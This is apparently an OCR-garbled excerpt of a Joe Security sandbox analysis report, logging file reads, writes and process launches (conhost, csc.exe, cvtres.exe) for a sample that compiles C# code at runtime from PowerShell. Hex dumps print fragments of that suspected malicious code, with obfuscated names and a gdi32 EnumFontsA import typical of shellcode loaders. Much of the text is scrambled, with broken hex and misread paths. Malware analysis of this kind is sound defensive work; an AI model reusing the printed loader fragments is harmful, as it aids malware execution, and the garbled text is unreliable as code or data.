mp\nmk1nggs\nmk1lnggs.cmdline

Copyright Joe Security LLC 2022

Length

1

4096
4096
792
882

369

Value

31

31

75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
7562 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
73 73 20 63 68 6f 6e 64
72 6f 67 61 31 0d Oa 7b
0d Oa 5b 44 6¢ 6¢ 49 6d
70 6f 72 74 28 22 67 64
69 33322229 5d 70 75
62 6¢ 69 63 20 73 74 61
74 69 63 20 65 78 74 65
72 6e 20 49 6e 74 50 74
72 20 45 6e 75 6d 46 6f
6e 74734128 737472
69 6e 67 20 52 75 63 74
69 6f 75 2c 75 69 6e 74
20 4d 75 73 6b 69 6¢ 79
37 2¢ 69 6e 74 20 44 65
62 69 37 2c 69 6e 74 20
63 68 6f 6e 64 72 6f 67
61 30 2c 69 6e 74 20 46
61 72 6d 61 6b 2c 69 6e
7420517569 6e 7175
65 76 65 2c 69 6e 74 20
53 4c 47 54 29 3b 0d Oa
5b 44 6c 6¢ 49 6d 70 6f
72742822 4b

ff 2f 74 3a 6¢ 69 62 72 61
727920 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
35 5¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a5¢ 55 73657273 5¢
6a 6f 6e 65 73 5¢ 41 70
70 44 61 74 61 5c 4c 6f
63 61 6¢ 5¢ 54 65 6d 70
5c 6e 6d 6b 31 6e 71 67
73 5¢c 6e 6d

Ascii

unknown
unknown
unknown
unknown

using System;using
System.Runt
ime.InteropServices;publi
c static class
chondrogal{[Dllimpor
t("gdi32")]public static
extern IntPtr
EnumFontsA(string Ruc
tiou,uint Muskily7,int
Debi7,int chondroga0,int
Farmak,int Quinqueve,int
SLGT);[Dllimport("K

It:library /utf8output
/R:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dll"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\nmk1nggs\nm

Completion
success or wait

success or wait

Completion

success or wait

success or wait

success or wait
success or wait
success or wait
success or wait

success or wait

success or wait

Count Source Address

1 6B9ABGA95
1 6B9AB6A95
Count Source Address
1 6B9A1BAF
1 6B9A1BAF
1 6B9A1BAF
4 6B9A1BAF
1 6B9A1BAF
5 6B9A1BAF
1 6B9A1BAF
1 6B9A1B4F

Symbol
DeleteFileW

DeleteFilew

Symbol

WriteFile

WriteFile

WriteFile
WriteFile
WriteFile
WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\nmk1nggs\nmklnggs.out

Offset

0

Length Value

455

ff 43 3a 5¢ 55 73 65 72
73 5c 6a 6f 6e 65 73 5¢
44 65 73 6b 74 6f 70 3e
20 22 43 3a 5¢c 57 69 6e
64 6f 77 73 5¢c 4d 69 63
72 6f 73 6f 66 74 2e 4e
45 54 5¢ 46 72 61 6d 65
77 6f 72 6b 5¢c 76 34 2e
30 2e 33 30 33 31 39 5¢
63 73 63 2e 65 78 65 22
20 2f 74 3a 6¢ 69 62 72
617279 20 2f 75 74 66
38 6f 75 74 70 75 74 20
2f523a2253797374
65 6d 2e 64 6¢ 6¢ 22 20
2f 52 3a 22 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢c 4d
69 63 72 6f 73 6f 66 74
2e 4e 6574 5c 61 7373
65 6d 62 6¢ 79 5¢ 47 41
43 5f 4d 53 49 4c 5c 53
79 73 74 65 6d 2e 4d 61
6e 61 67 65 6d 65 6e 74
2e 417574 6f 6d 61 74
69 6f 6e 5¢c 76 34 2e 30
5f 33 2e 30 2e 30 2e 30
5f 5f 33 31 62 66 33 38
35 36 61 64 33 36 34 65
33355¢ 5379737465
6d 2e 4d 61 6e 61 67 65
6d 65 6e 74 2e 417574
6f 6d 61 74 69

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWwOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SyswWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
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Ascii Completion Count Source Address

C:\Users\user\Desktop>  success or wait 1 6B9A1B4F

"C:\Win

dows\Microsoft.NET\Fra

mework\v

4.0.30319\csc.exe”

[t:library /utf8output

/R:"System.dll" /R

:"C:\Windows\Microsoft.N

et\ass

embly\GAC_MSIL\Syste

m.Manageme

nt.Automation\v4.0_3.0.0.

0_31

bf3856ad364e35\System.

Management.Automati
Length Completion Count Source Address
4095 success or wait 1 6D665705
8173 end of file 1 6D665705
4095 success or wait 1 6D665705
6135 success or wait 1 6D665705
176 success or wait 1 6D5CO3DE
4095 success or wait 1 6D66CA54
8173 end of file 1 6D66CA54
4095 success or wait 1 6D66CA54
900 success or wait 1 6D5CO3DE
620 success or wait 1 6D5CO3DE
4095 success or wait 1 6D665705
8173 end of file 1 6D665705
4095 success or wait 1 6D665705
8173 end of file 1 6D665705
748 success or wait 1 6D5CO3DE
748 success or wait 1 6D5C03DE
4095 success or wait 1 6D665705
8171 end of file 1 6D665705
64 success or wait 1 6D671F73
23116 success or wait 1 6D67203F
864 success or wait 1 6D5C03DE
4096 success or wait 1 6B9A1BAF
62 success or wait 1 6B9A1B4AF
4096 success or wait 1 6B9A1BAF
4096 success or wait 1 6B9A1B4AF

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmk1nggs.dll

C:\Users\user\AppData\Local\Temp\Hetero3.dat

Analysis Process: conhost.exe PID: 6888, Parent PID: 6876

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

637

4096

4096

128

4096

4096
58767

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

17

14:04:49

10/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: csc.exe PID: 4608, Parent PID: 6876

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

c:\Users\user\AppData\Local\Te
mp\nmk1nqgs\CSCB6EACAC7C331481

095CED6A2215A0F6. TMP

File Deleted

File Path

26

14:05:20

10/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

true

Completion

end of file

end of file

success or wait

end of file

end of file

success or wait

success or wait

Count Source Address Symbol
1 6BIA1BAF ReadFile
1 6BIA1BAF ReadFile
8 6BIALBAF ReadFile
1 6BIA1BAF ReadFile
1 6BIA1BAF ReadFile
1 6BIA1BAF ReadFile
1 980F740 ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nggs\nmkinggs.cmdline

0xb10000

2170976 bytes
350C52F71BDED7B99668585C15D70EEA
true

true

.Net C# or VB.NET

moderate

Access Attributes Options

read attributes |  device
synchronize |

generic write

non alert | non
directory file

C:\Users\user\AppData\Local\Temp\nmk1nggs\CSCB6EACAC7C331481095CED6A2215A0F6. TMP

Copyright Joe Security LLC 2022

synchronous io

Completion

success or wait

Completion

success or wait

Count Source Address Symbol

1 B6E1E9 CreateFilew
Count Source Address Symbol
1 B89793 DeleteFilew
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File Written

File Path

C:\Users\user\AppData\Local\Te 0 652
mp\nmk1nggs\CSCB6EACAC7C3314
81095CED6A2215A0F6.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnggs.cmdline

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnqgs.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00

00 00 00 00 00 00 00 00
00 00 00 00 000000 4c  Inf
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
00 01 00 53 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 6348, Parent PID: 4608

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

27

14:05:24

10/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

L<OL4VS_VERSION_IN
fd fd 00 00 fd fd 00 00 00 FO?DVarFile
Info$TranslationStringFile

Length
369
882

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 B8967F

Count Source Address

1 B6E6G38
1 B6E638

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\user\AppData\Loca\Temp\RE
SD70A.tmp" "c:\Users\user\AppData\Local\Temp\nmk1nggs\CSCB6EACAC7C331481095CED6A2215A0F6. TMP"

0x970000

43176 bytes
CO09985AE74F0882F208D75DE27770DFA
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Offset
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Length Value Ascii

Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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Disassembly

@ No disassembly
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